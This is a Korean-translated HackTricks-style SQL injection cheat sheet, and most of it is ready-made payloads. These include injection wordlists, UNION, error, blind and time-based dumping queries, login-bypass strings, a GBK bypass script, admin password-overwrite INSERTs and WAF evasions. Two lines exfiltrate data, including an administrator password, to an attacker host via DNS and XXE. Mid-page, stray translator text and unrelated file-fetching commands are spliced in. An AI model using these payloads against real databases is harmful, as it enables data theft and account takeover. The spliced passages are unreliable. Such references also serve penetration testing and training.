SQL Injection
Tip
AWS 해킹 배우기 및 연습하기:
HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기:HackTricks Training GCP Red Team Expert (GRTE)
Azure 해킹 배우기 및 연습하기:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks 지원하기
- 구독 계획 확인하기!
- **💬 디스코드 그룹 또는 텔레그램 그룹에 참여하거나 트위터 🐦 @hacktricks_live를 팔로우하세요.
- HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.
SQL injection이란?
An SQL injection은 공격자가 애플리케이션의 interfere with database queries을(를) 할 수 있게 하는 보안 취약점입니다. 이 취약점은 공격자가 다른 사용자의 정보나 애플리케이션이 접근할 수 있는 모든 데이터를 포함해 접근해서는 안 되는 데이터를 view, modify, 또는 delete할 수 있도록 만들 수 있습니다. 이러한 행위는 애플리케이션의 기능이나 콘텐츠에 영구적인 변경을 초래하거나 심지어 서버의 compromise나 denial of service로 이어질 수 있습니다.
진입점 탐지
사이트가 SQLi 관련 입력에 대한 비정상적인 server 응답으로 인해 **vulnerable to SQL injection (SQLi)**로 보일 때, first step은 쿼리를 방해하지 않고 어떻게 inject data into the query without disrupting it할지를 이해하는 것입니다. 이를 위해 현재 컨텍스트에서 효과적으로 escape from the current context하는 방법을 식별해야 합니다. 다음은 몇 가지 유용한 예시입니다:
[Nothing]
'
"
`
')
")
`)
'))
"))
`))
그런 다음에는 쿼리가 오류를 일으키지 않도록 수정하는 방법을 알아야 합니다. 쿼리를 수정하기 위해서는 입력 데이터를 넣어 이전 쿼리가 새 데이터를 수용하도록 하거나, 단순히 입력한 뒤 끝에 주석 기호를 추가할 수 있습니다.
오류 메시지를 볼 수 있거나 쿼리가 작동할 때와 그렇지 않을 때의 차이점을 파악할 수 있다면 이 단계가 더 쉬워집니다.
주석
MySQL
#comment
-- comment [Note the space after the double dash]
/*comment*/
/*! MYSQL Special SQL */
PostgreSQL
--comment
/*comment*/
MSQL
--comment
/*comment*/
Oracle
--comment
SQLite
--comment
/*comment*/
HQL
HQL does not support comments
논리 연산으로 확인
신뢰할 수 있는 SQL injection 취약점 확인 방법은 논리 연산을 실행하고 예상되는 결과를 관찰하는 것입니다. 예를 들어 ?username=Peter와 같은 GET 파라미터가 ?username=Peter' or '1'='1로 수정했을 때 동일한 콘텐츠를 반환하면 SQL injection 취약점이 있음을 의미합니다.
유사하게, 수학적 연산을 적용하는 것도 효과적인 확인 기법입니다. 예를 들어 ?id=1과 ?id=2-1에 접근했을 때 같은 결과가 나오면 SQL injection을 시사합니다.
논리 연산 확인을 보여주는 예:
page.asp?id=1 or 1=1 -- results in true
page.asp?id=1' or 1=1 -- results in true
page.asp?id=1" or 1=1 -- results in true
page.asp?id=1 and 1=2 -- results in false
이 단어 목록은 제안된 방식으로 SQLinjections을 확인하기 위해 만들어졌습니다:
True SQLi
``` true 1 1>0 2-1 0+1 1*1 1%2 1 & 1 1&1 1 && 2 1&&2 -1 || 1 -1||1 -1 oR 1=1 1 aND 1=1 (1)oR(1=1) (1)aND(1=1) -1/**/oR/**/1=1 1/**/aND/**/1=1 1' 1'>'0 2'-'1 0'+'1 1'*'1 1'%'2 1'&'1'='1 1'&&'2'='1 -1'||'1'='1 -1'oR'1'='1 1'aND'1'='1 1" 1">"0 2"-"1 0"+"1 1"*"1 1"%"2 1"&"1"="1 1"&&"2"="1 -1"||"1"="1 -1"oR"1"="1 1"aND"1"="1 1` 1`>`0 2`-`1 0`+`1 1`*`1 1`%`2 1`&`1`=`1 1`&&`2`=`1 -1`||`1`=`1 -1`oR`1`=`1 1`aND`1`=`1 1')>('0 2')-('1 0')+('1 1')*('1 1')%('2 1')&'1'=('1 1')&&'1'=('1 -1')||'1'=('1 -1')oR'1'=('1 1')aND'1'=('1 1")>("0 2")-("1 0")+("1 1")*("1 1")%("2 1")&"1"=("1 1")&&"1"=("1 -1")||"1"=("1 -1")oR"1"=("1 1")aND"1"=("1 1`)>(`0 2`)-(`1 0`)+(`1 1`)*(`1 1`)%(`2 1`)&`1`=(`1 1`)&&`1`=(`1 -1`)||`1`=(`1 -1`)oR`1`=(`1 1`)aND`1`=(`1 ```타이밍으로 확인하기
어떤 경우에는 테스트 중인 페이지에서 전혀 변화가 보이지 않을 수 있습니다. 따라서 blind SQL injections를 발견하는 좋은 방법은 DB에게 작업을 수행하게 해서 페이지가 로드되는 데 걸리는 시간에 영향을 주게 하는 것입니다.
따라서 SQL query에 concat을 사용해 완료하는 데 시간이 많이 걸리는 작업을 추가할 것입니다:
MySQL (string concat and logical ops)
1' + sleep(10)
1' and sleep(10)
1' && sleep(10)
1' | sleep(10)
PostgreSQL (only support string concat)
1' || pg_sleep(10)
MSQL
1' WAITFOR DELAY '0:0:10'
Oracle
1' AND [RANDNUM]=DBMS_PIPE.RECEIVE_MESSAGE('[RANDSTR]',[SLEEPTIME])
1' AND 123=DBMS_PIPE.RECEIVE_MESSAGE('ASD',10)
SQLite
1' AND [RANDNUM]=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB([SLEEPTIME]00000000/2))))
1' AND 123=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB(1000000000/2))))
일부 경우 sleep functions 사용이 허용되지 않을 수 있습니다. 그런 경우 해당 함수들을 사용하는 대신 쿼리가 몇 초 걸리는 복잡한 연산을 수행하도록 만들 수 있습니다. 이러한 기법들의 예시는 (있다면) 각 기술별로 별도로 설명됩니다.
Identifying Back-end
백엔드를 식별하는 가장 좋은 방법은 다양한 백엔드의 함수를 실행해보는 것입니다. 이전 섹션의 sleep functions을 사용하거나 these ones (table from payloadsallthethings:
["conv('a',16,2)=conv('a',16,2)" ,"MYSQL"],
["connection_id()=connection_id()" ,"MYSQL"],
["crc32('MySQL')=crc32('MySQL')" ,"MYSQL"],
["BINARY_CHECKSUM(123)=BINARY_CHECKSUM(123)" ,"MSSQL"],
["@@CONNECTIONS>0" ,"MSSQL"],
["@@CONNECTIONS=@@CONNECTIONS" ,"MSSQL"],
["@@CPU_BUSY=@@CPU_BUSY" ,"MSSQL"],
["USER_ID(1)=USER_ID(1)" ,"MSSQL"],
["ROWNUM=ROWNUM" ,"ORACLE"],
["RAWTOHEX('AB')=RAWTOHEX('AB')" ,"ORACLE"],
["LNNVL(0=123)" ,"ORACLE"],
["5::int=5" ,"POSTGRESQL"],
["5::integer=5" ,"POSTGRESQL"],
["pg_client_encoding()=pg_client_encoding()" ,"POSTGRESQL"],
["get_current_ts_config()=get_current_ts_config()" ,"POSTGRESQL"],
["quote_literal(42.5)=quote_literal(42.5)" ,"POSTGRESQL"],
["current_database()=current_database()" ,"POSTGRESQL"],
["sqlite_version()=sqlite_version()" ,"SQLITE"],
["last_insert_rowid()>1" ,"SQLITE"],
["last_insert_rowid()=last_insert_rowid()" ,"SQLITE"],
["val(cvar(1))=1" ,"MSACCESS"],
["IIF(ATN(2)>0,1,0) BETWEEN 2 AND 0" ,"MSACCESS"],
["cdbl(1)=cdbl(1)" ,"MSACCESS"],
["1337=1337", "MSACCESS,SQLITE,POSTGRESQL,ORACLE,MSSQL,MYSQL"],
["'i'='i'", "MSACCESS,SQLITE,POSTGRESQL,ORACLE,MSSQL,MYSQL"],
또한, 쿼리의 출력에 접근할 수 있다면, 데이터베이스의 버전을 출력하도록 만들 수 있습니다.
Tip
계속해서 우리는 다양한 종류의 SQL Injection을 익스플로잇하는 여러 방법을 논의할 것입니다. 예제로 MySQL을 사용합니다.
PortSwigger로 식별하기
SQL injection cheat sheet | Web Security Academy
Union Based 익스플로잇
열(컬럼) 개수 탐지
쿼리의 출력 결과를 볼 수 있다면, 이는 이를 익스플로잇하는 가장 좋은 방법입니다.
우선, 초기 요청이 반환하는 열의 개수를 알아내야 합니다. 이는 두 쿼리 모두 동일한 수의 열을 반환해야 하기 때문입니다.
이 목적을 위해 일반적으로 두 가지 방법이 사용됩니다:
Order/Group by
쿼리의 열 개수를 결정하려면 ORDER BY 또는 GROUP BY 절에 사용되는 숫자를 점진적으로 늘리며 잘못된 응답(또는 오류)이 수신될 때까지 조정합니다. SQL에서 GROUP BY와 ORDER BY는 기능적으로 차이가 있지만, 쿼리의 열 개수를 확인하는 용도로는 둘 다 동일하게 사용할 수 있습니다.
1' ORDER BY 1--+ #True
1' ORDER BY 2--+ #True
1' ORDER BY 3--+ #True
1' ORDER BY 4--+ #False - Query is only using 3 columns
#-1' UNION SELECT 1,2,3--+ True
1' GROUP BY 1--+ #True
1' GROUP BY 2--+ #True
1' GROUP BY 3--+ #True
1' GROUP BY 4--+ #False - Query is only using 3 columns
#-1' UNION SELECT 1,2,3--+ True
UNION SELECT
쿼리가 올바르게 될 때까지 null 값을 점점 더 많이 Select하세요:
1' UNION SELECT null-- - Not working
1' UNION SELECT null,null-- - Not working
1' UNION SELECT null,null,null-- - Worked
쿼리 양쪽의 컬럼 타입이 동일해야 하는 경우가 있으므로 null 값을 사용하세요. null은 모든 경우에 유효합니다.
데이터베이스 이름, 테이블 이름 및 컬럼 이름 추출
다음 예제들에서는 모든 데이터베이스의 이름, 특정 데이터베이스의 테이블 이름, 테이블의 컬럼 이름을 가져옵니다:
#Database names
-1' UniOn Select 1,2,gRoUp_cOncaT(0x7c,schema_name,0x7c) fRoM information_schema.schemata
#Tables of a database
-1' UniOn Select 1,2,3,gRoUp_cOncaT(0x7c,table_name,0x7C) fRoM information_schema.tables wHeRe table_schema=[database]
#Column names
-1' UniOn Select 1,2,3,gRoUp_cOncaT(0x7c,column_name,0x7C) fRoM information_schema.columns wHeRe table_name=[table name]
각 데이터베이스마다 이 데이터를 찾는 방법은 다르지만, 항상 동일한 방법론을 따릅니다.
Exploiting Hidden Union Based
쿼리의 출력이 보이지만 union-based injection이 불가능해 보인다면, 이는 hidden union-based injection의 존재를 의미합니다. 이런 상황은 종종 blind injection 상황으로 이어집니다. blind injection을 union-based로 바꾸려면 백엔드에서 실행되는 쿼리를 파악해야 합니다.
이는 blind injection 기법과 대상 Database Management System (DBMS)에 특정한 default tables를 함께 이용해 달성할 수 있습니다. 이러한 default tables를 이해하려면 대상 DBMS의 문서를 참조하는 것이 좋습니다.
쿼리를 추출한 후에는 원래 쿼리를 안전하게 닫도록 payload를 조정해야 합니다. 그 다음 payload에 union query를 추가하면 새로 열린 union-based injection을 악용할 수 있습니다.
자세한 내용은 전체 기사 Healing Blind Injections를 참조하세요.
Exploiting Error based
어떤 이유로 query의 output을 볼 수 없지만 error messages는 볼 수 있다면, 이 error messages를 이용해 데이터베이스에서 데이터를 ex-filtrate할 수 있습니다.
Union Based exploitation에서와 유사한 흐름을 따라가면 DB를 dump할 수 있습니다.
(select 1 and row(1,1)>(select count(*),concat(CONCAT(@@VERSION),0x3a,floor(rand()*2))x from (select 1 union select 2)a group by x limit 1))
Exploiting Blind SQLi
이 경우 쿼리의 결과나 에러를 볼 수 없지만, 페이지의 내용이 달라지기 때문에 쿼리가 true 또는 false 응답을 반환하는지를 구분할 수 있다.
이 동작을 악용해 데이터베이스를 문자 단위로 덤프할 수 있다:
?id=1 AND SELECT SUBSTR(table_name,1,1) FROM information_schema.tables = 'A'
Error Blind SQLi 악용
이것은 이전과 동일한 경우이지만, 쿼리로부터의 true/false 응답을 구분하는 대신 SQL 쿼리에 오류가 있는지 여부(예: HTTP server가 크래시하기 때문에)를 구분할 수 있습니다. 따라서 이 경우 문자를 정확히 맞출 때마다 SQLerror를 강제로 발생시킬 수 있습니다:
AND (SELECT IF(1,(SELECT table_name FROM information_schema.tables),'a'))-- -
타임 기반 SQLi 악용
이 경우 페이지의 컨텍스트를 기반으로 쿼리의 응답을 구분할 방법은 없습니다. 하지만, 추측한 문자가 맞을 경우 페이지가 로드되는 데 더 오래 걸리게 만들 수 있습니다. 우리는 이미 이 기술을 confirming a SQLi vuln 목적으로 사용한 것을 본 적이 있습니다.
1 and (select sleep(10) from users where SUBSTR(table_name,1,1) = 'A')#
Stacked Queries
stacked queries를 사용하면 여러 쿼리를 연속으로 실행할 수 있습니다. 후속 쿼리가 실행되더라도 결과는 애플리케이션으로 반환되지 않습니다. 따라서 이 기법은 주로 blind vulnerabilities와 관련하여 유용하며, 두 번째 쿼리를 사용해 DNS lookup, 조건부 오류 또는 시간 지연을 유발할 수 있습니다.
Oracle는 stacked queries를 지원하지 않습니다. MySQL, Microsoft 및 PostgreSQL은 이를 지원합니다: QUERY-1-HERE; QUERY-2-HERE
Out of band Exploitation
만약 no-other exploitation 방법이 작동하지 않았다면, database ex-filtrate를 통해 정보를 당신이 제어하는 external host로 전송하도록 시도해 볼 수 있습니다. 예를 들어, DNS queries를 통해:
select load_file(concat('\\\\',version(),'.hacker.site\\a.txt'));
XXE를 통한 대역 외 데이터 유출
a' UNION SELECT EXTRACTVALUE(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://'||(SELECT password FROM users WHERE username='administrator')||'.hacker.site/"> %remote;]>'),'/l') FROM dual-- -
Automated Exploitation
SQLi 취약점을 sqlmap로 악용하려면 SQLMap Cheatsheet를 확인하세요.
기술별 정보
우리는 이미 SQL Injection 취약점을 악용하는 모든 방법을 논의했습니다. 데이터베이스 기술에 따라 달라지는 추가적인 트릭은 이 책에서 확인하세요:
또는 MySQL, PostgreSQL, Oracle, MSSQL, SQLite and HQL에 관한 많은 트릭을 https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection에서 찾을 수 있습니다.
Authentication bypass
로그인 기능을 bypass하기 위해 시도할 목록:
Raw hash authentication Bypass
"SELECT * FROM admin WHERE pass = '".md5($password,true)."'"
이 쿼리는 인증 검사에서 MD5를 raw 출력에 대해 true로 사용할 때 발생하는 취약점을 보여준다. 공격자는 해시했을 때 입력이 예상치 못한 SQL 명령 조각을 생성하도록 입력값을 조작하여 SQL injection을 유발하고, 이를 통해 무단 접근을 얻을 수 있다.
md5("ffifdyop", true) = 'or'6�]��!r,��b�
sha1("3fDf ", true) = Q�u'='�@�[�t�- o��_-!
Injected hash authentication Bypass
admin' AND 1=0 UNION ALL SELECT 'admin', '81dc9bdb52d04dc20036dbd8313ed055'
권장 목록:
각 목록의 각 줄을 username으로 사용하고 password는 항상: Pass1234.
(이 payloads들은 또한 이 섹션 시작 부분에서 언급한 큰 목록에 포함되어 있습니다)
GBK Authentication Bypass
만약 ’가 이스케이프된다면 %A8%27를 사용할 수 있습니다. 그리고 ‘가 이스케이프될 때 생성되는 값: 0xA80x5c0x27 (╘’)
%A8%27 OR 1=1;-- 2
%8C%A8%27 OR 1=1-- 2
%bf' or 1=1 -- --
번역할 src/pentesting-web/sql-injection/README.md의 내용을 여기에 붙여넣어 주세요. 현재 “Python script:“만 받았습니다.
import requests
url = "http://example.com/index.php"
cookies = dict(PHPSESSID='4j37giooed20ibi12f3dqjfbkp3')
datas = {"login": chr(0xbf) + chr(0x27) + "OR 1=1 #", "password":"test"}
r = requests.post(url, data = datas, cookies=cookies, headers={'referrer':url})
print r.text
Polyglot injection (multicontext)
SLEEP(1) /*' or SLEEP(1) or '" or SLEEP(1) or "*/
INSERT 문
기존 객체/사용자의 비밀번호 수정
이를 위해 무언가를 수정하여 “master object“와 동일한 이름의 새로운 객체를 생성해봐야 한다(사용자일 경우 보통 admin).
- 사용자 생성: AdMIn (대소문자 혼합)
- 사용자 생성: admin=
- SQL Truncation Attack (username 또는 email에 어떤 종류의 길이 제한이 있을 때) –> 사용자 이름으로 admin [a lot of spaces] a 생성
SQL Truncation Attack
데이터베이스가 취약하고 username의 최대 문자 수가 예를 들어 30이며 사용자인 admin을 가장하고자 한다면, 사용자 이름을 “admin [30 spaces] a“로 하고 임의의 비밀번호를 사용해 생성해보라.
데이터베이스는 입력된 사용자 이름이 데이터베이스 내에 존재하는지 확인한다. 만약 존재하지 않는다면, 데이터베이스는 사용자 이름을 최대 허용 문자 수로 잘라낸다(이 경우 “admin [25 spaces]”) 그리고 끝의 모든 공백을 자동으로 제거하면서 데이터베이스 내의 사용자 “admin“을 새 비밀번호로 업데이트한다(일부 오류가 발생할 수 있지만 이것이 성공하지 않았다는 의미는 아니다).
More info: https://blog.lucideus.com/2018/03/sql-truncation-attack-2018-lucideus.html & https://resources.infosecinstitute.com/sql-truncation-attack/#gref
Note: This attack will no longer work as described above in latest MySQL installations. While comparisons still ignore trailing whitespace by default, attempting to insert a string that is longer than the length of a field will result in an error, and the insertion will fail. For more information about about this check: https://heinosass.gitbook.io/leet-sheet/web-app-hacking/exploitation/interesting-outdated-attacks/sql-truncation
MySQL Insert 시간 기반 체크
VALUES 문을 빠져나오기 위해 필요한 만큼 ','',''를 추가하라. delay가 실행되면 SQLInjection이 존재한다.
name=','');WAITFOR%20DELAY%20'0:0:5'--%20-
ON DUPLICATE KEY UPDATE
MySQL에서 ON DUPLICATE KEY UPDATE 절은 UNIQUE index 또는 PRIMARY KEY에 중복 값이 생겨 행을 삽입하려 할 때 데이터베이스가 취할 동작을 지정하는 데 사용됩니다. 다음 예시는 이 기능을 이용해 관리자 계정의 비밀번호를 변경하는 방법을 보여줍니다:
Example Payload Injection:
다음과 같이 injection payload가 구성될 수 있습니다. 여기서는 users 테이블에 두 개의 행을 삽입하려고 시도합니다. 첫 번째 행은 미끼이며, 두 번째 행은 기존 관리자 이메일을 대상으로 하여 비밀번호를 업데이트하려는 의도입니다:
INSERT INTO users (email, password) VALUES ("generic_user@example.com", "bcrypt_hash_of_newpassword"), ("admin_generic@example.com", "bcrypt_hash_of_newpassword") ON DUPLICATE KEY UPDATE password="bcrypt_hash_of_newpassword" -- ";
다음은 작동 방식입니다:
- 쿼리는 두 개의 행을 삽입하려고 시도합니다: 하나는
generic_user@example.com용이고 다른 하나는admin_generic@example.com용입니다. - 만약
admin_generic@example.com에 해당하는 행이 이미 존재하면,ON DUPLICATE KEY UPDATE절이 발동하여 MySQL에게 기존 행의password필드를 “bcrypt_hash_of_newpassword“로 업데이트하라고 지시합니다. - 결과적으로,
admin_generic@example.com으로 인증을 시도할 수 있으며 사용되는 비밀번호는 bcrypt 해시에 대응하는 비밀번호입니다(“bcrypt_hash_of_newpassword“는 새 비밀번호의 bcrypt 해시를 나타내며, 실제 원하는 비밀번호의 해시로 교체해야 합니다).
정보 추출
두 계정을 동시에 생성하기
새 사용자를 생성하려고 할 때 username, password 및 email이 필요합니다:
SQLi payload:
username=TEST&password=TEST&email=TEST'),('otherUsername','otherPassword',(select flag from flag limit 1))-- -
A new user with username=otherUsername, password=otherPassword, email:FLAG will be created
십진수 또는 16진수 사용
이 기법으로 계정 1개만 생성하여 정보를 추출할 수 있습니다. 주석을 달 필요가 없습니다.
hex2dec와 substr 사용:
'+(select conv(hex(substr(table_name,1,6)),16,10) FROM information_schema.tables WHERE table_schema=database() ORDER BY table_name ASC limit 0,1)+'
텍스트를 가져오려면 다음을 사용할 수 있습니다:
로컬 저장소에서:
cat src/pentesting-web/sql-injection/README.md
원격 GitHub raw 파일:
curl -sL https://raw.githubusercontent.com/<OWNER>/<REPO>/<BRANCH>/src/pentesting-web/sql-injection/README.md
git clone 후:
git clone https://github.com/<OWNER>/<REPO>.git
cat src/pentesting-web/sql-injection/README.md
GitHub CLI 사용:
gh repo clone <OWNER>/<REPO>
cat src/pentesting-web/sql-injection/README.md
wget 사용:
wget -qO- https://raw.githubusercontent.com/<OWNER>/<REPO>/<BRANCH>/src/pentesting-web/sql-injection/README.md
__import__('binascii').unhexlify(hex(215573607263)[2:])
다음과 같이 hex 및 replace (및 substr) 사용:
'+(select hex(replace(replace(replace(replace(replace(replace(table_name,"j"," "),"k","!"),"l","\""),"m","#"),"o","$"),"_","%")) FROM information_schema.tables WHERE table_schema=database() ORDER BY table_name ASC limit 0,1)+'
'+(select hex(replace(replace(replace(replace(replace(replace(substr(table_name,1,7),"j"," "),"k","!"),"l","\""),"m","#"),"o","$"),"_","%")) FROM information_schema.tables WHERE table_schema=database() ORDER BY table_name ASC limit 0,1)+'
#Full ascii uppercase and lowercase replace:
'+(select hex(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(substr(table_name,1,7),"j"," "),"k","!"),"l","\""),"m","#"),"o","$"),"_","%"),"z","&"),"J","'"),"K","`"),"L","("),"M",")"),"N","@"),"O","$$"),"Z","&&")) FROM information_schema.tables WHERE table_schema=database() ORDER BY table_name ASC limit 0,1)+'
Routed SQL injection
Routed SQL injection은 injectable query가 직접 출력을 제공하는 쿼리가 아닌 상황을 말합니다. 대신 injectable query의 output이 출력을 제공하는 다른 쿼리로 전달됩니다. (From Paper)
예시:
#Hex of: -1' union select login,password from users-- a
-1' union select 0x2d312720756e696f6e2073656c656374206c6f67696e2c70617373776f72642066726f6d2075736572732d2d2061 -- a
WAF Bypass
No spaces bypass
No Space (%20) - 공백 대체를 사용한 bypass
?id=1%09and%091=1%09--
?id=1%0Dand%0D1=1%0D--
?id=1%0Cand%0C1=1%0C--
?id=1%0Band%0B1=1%0B--
?id=1%0Aand%0A1=1%0A--
?id=1%A0and%A01=1%A0--
공백 없음 - 주석을 사용한 우회
?id=1/*comment*/and/**/1=1/**/--
No Whitespace - 괄호를 사용한 우회
?id=(1)and(1)=(1)--
No commas bypass
No Comma - OFFSET, FROM 및 JOIN을 사용한 bypass
LIMIT 0,1 -> LIMIT 1 OFFSET 0
SUBSTR('SQL',1,1) -> SUBSTR('SQL' FROM 1 FOR 1).
SELECT 1,2,3,4 -> UNION SELECT * FROM (SELECT 1)a JOIN (SELECT 2)b JOIN (SELECT 3)c JOIN (SELECT 4)d
일반적인 우회
키워드 기반 Blacklist - 대소문자 변경으로 우회
?id=1 AND 1=1#
?id=1 AnD 1=1#
?id=1 aNd 1=1#
키워드를 대소문자 구분 없이 Blacklist 사용 - 동등 연산자를 사용해 bypass
AND -> && -> %26%26
OR -> || -> %7C%7C
= -> LIKE,REGEXP,RLIKE, not < and not >
> X -> not between 0 and X
WHERE -> HAVING --> LIMIT X,1 -> group_concat(CASE(table_schema)When(database())Then(table_name)END) -> group_concat(if(table_schema=database(),table_name,null))
Scientific Notation WAF bypass
이 트릭에 대한 더 심도 있는 설명은 gosecure blog.
기본적으로 WAF를 우회하기 위해 지수 표기법을 예상치 못한 방식으로 사용할 수 있습니다:
-1' or 1.e(1) or '1'='1
-1' or 1337.1337e1 or '1'='1
' or 1.e('')=
열 이름 제한 우회
우선, 원본 쿼리와 flag를 추출하려는 테이블의 컬럼 수가 같다면 다음과 같이 할 수 있다: 0 UNION SELECT * FROM flag
다음과 같은 쿼리를 사용하면 이름을 사용하지 않고 테이블의 세 번째 컬럼에 접근할 수 있다: SELECT F.3 FROM (SELECT 1, 2, 3 UNION SELECT * FROM demo)F;, 그러므로 in an sqlinjection this would looks like:
# This is an example with 3 columns that will extract the column number 3
-1 UNION SELECT 0, 0, 0, F.3 FROM (SELECT 1, 2, 3 UNION SELECT * FROM demo)F;
또는 comma bypass를 사용:
# In this case, it's extracting the third value from a 4 values table and returning 3 values in the "union select"
-1 union select * from (select 1)a join (select 2)b join (select F.3 from (select * from (select 1)q join (select 2)w join (select 3)e join (select 4)r union select * from flag limit 1 offset 5)F)c
이 트릭은 https://secgroup.github.io/2017/01/03/33c3ctf-writeup-shia/에서 가져왔습니다
Column/tablename injection in SELECT list via subqueries
사용자 입력이 SELECT 목록이나 table/column identifiers에 문자열로 연결(concatenate)되어 삽입되면, prepared statements는 효과가 없습니다. bind parameters는 values만 보호하고 identifiers는 보호하지 않기 때문입니다. 흔한 취약 패턴은 다음과 같습니다:
// Pseudocode
$fieldname = $_REQUEST['fieldname']; // attacker-controlled
$tablename = $modInstance->table_name; // sometimes also attacker-influenced
$q = "SELECT $fieldname FROM $tablename WHERE id=?"; // id is the only bound param
$stmt = $db->pquery($q, [$rec_id]);
공격 아이디어: 필드 위치에 subquery를 주입하여 임의의 데이터를 exfiltrate:
-- Legit
SELECT user_name FROM vte_users WHERE id=1;
-- Injected subquery to extract a sensitive value (e.g., password reset token)
SELECT (SELECT token FROM vte_userauthtoken WHERE userid=1) FROM vte_users WHERE id=1;
Notes:
- 이 기법은 WHERE clause가 bound parameter를 사용할 때에도 동작합니다. 식별자 목록은 여전히 문자열로 연결되기 때문입니다.
- 일부 스택은 추가로 테이블 이름을 제어할 수 있게 하여 (tablename injection) 교차 테이블 읽기가 가능합니다.
- Output sinks는 선택된 값을 HTML/JSON에 반영할 수 있으므로, 응답에서 직접 XSS나 token exfiltration이 발생할 수 있습니다.
Mitigations:
- 사용자 입력에서 식별자를 절대 문자열로 이어붙이지 마십시오. 허용되는 column names를 고정된 allow-list에 매핑하고 식별자를 올바르게 인용(quote)하세요.
- dynamic table access가 필요한 경우 유한한 집합으로 제한하고 안전한 매핑에서 서버 측으로 해결(resolve)하십시오.
SQLi via AST/filter-to-SQL converters (JSON_VALUE predicates)
Some frameworks convert structured filter ASTs into raw SQL boolean fragments (e.g., metadata filters or JSON predicates) and then string-concatenate those fragments into larger queries. If the converter wraps string values as '%s' without escaping, a single quote in user input terminates the literal and the rest is parsed as SQL.
Example pattern (conceptual):
JSON_VALUE(metadata, '$.department') = '<user_value>'
Payload (URL-encoded): %27%20OR%20%271%27%3D%271 → 디코딩: ' OR '1'='1 → predicate는 다음과 같다:
JSON_VALUE(metadata, '$.department') = '' OR '1'='1'
ORDER BY / 식별자 기반 SQLi (PDO limitation)
Prepared statements는 식별자(열 또는 테이블 이름)를 바인딩할 수 없습니다. 일반적인 위험한 패턴은 사용자 제어 sort 파라미터를 받아 문자열 결합으로 ORDER BY를 구성하고, 때때로 입력을 백틱으로 감싸 “sanitize”하려는 것입니다. 그러나 식별자 컨텍스트가 공격자에 의해 제어되므로 이 방법은 여전히 SQLi를 가능하게 합니다.
취약한 패턴:
$sort = $_POST['sort'];
$q = "SELECT id,item_name FROM items WHERE user_id=? ORDER BY `$sort`";
$stmt = $pdo->prepare($q);
$stmt->execute([$user_id]);
트래픽에서의 신호:
- 정렬 파라미터가 POST에 있음(종종
sort=column) — 고정된 allow-list가 아님. sort를 변경하면 쿼리가 깨지거나 출력 순서가 변경됨.
WAF 우회 제안 도구
GitHub - m4ll0k/Atlas: Quick SQLMap Tamper Suggester \xc2\xb7 GitHub
기타 가이드
- https://sqlwiki.netspi.com/
- https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection
브루트포스 탐지 목록
Auto_Wordlists/wordlists/sqli.txt at main \xc2\xb7 carlospolop/Auto_Wordlists \xc2\xb7 GitHub
참고자료
- https://blog.sicuranext.com/vtenext-25-02-a-three-way-path-to-rce/
- https://blog.securelayer7.net/cve-2026-22730-sql-injection-spring-ai-mariadb/
- HTB: Gavel
Tip
AWS 해킹 배우기 및 연습하기:
HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기:HackTricks Training GCP Red Team Expert (GRTE)
Azure 해킹 배우기 및 연습하기:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks 지원하기
- 구독 계획 확인하기!
- **💬 디스코드 그룹 또는 텔레그램 그룹에 참여하거나 트위터 🐦 @hacktricks_live를 팔로우하세요.
- HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.


